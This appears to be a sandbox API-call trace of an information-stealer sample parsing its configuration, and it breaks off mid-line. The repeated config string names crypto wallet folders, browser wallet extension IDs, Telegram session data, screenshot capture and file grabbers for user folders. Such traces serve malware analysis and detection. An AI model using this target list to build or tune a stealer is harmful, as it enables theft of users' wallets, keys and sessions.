(lpString="electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4132 [0266.238] LocalAlloc (uFlags=0x40, uBytes=0x20c8) returned 0x6fc408 [0266.238] StrCpyW (in: psz1=0x6ef5a0, psz2="Electrum" | out: psz1="Electrum") returned="Electrum" [0266.239] LocalFree (hMem=0x6fc408) returned 0x0 [0266.239] StrStrW (lpFirst="26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=";") returned=";Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.239] lstrlenW (lpString="electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4132 [0266.239] LocalAlloc (uFlags=0x40, uBytes=0x20c8) returned 0x6fc408 [0266.239] StrCpyW (in: psz1=0x6f1ee8, psz2="26" | out: psz1="26") returned="26" [0266.239] LocalFree (hMem=0x6fc408) returned 0x0 [0266.239] StrStrW (lpFirst="Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=";") returned=";*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension 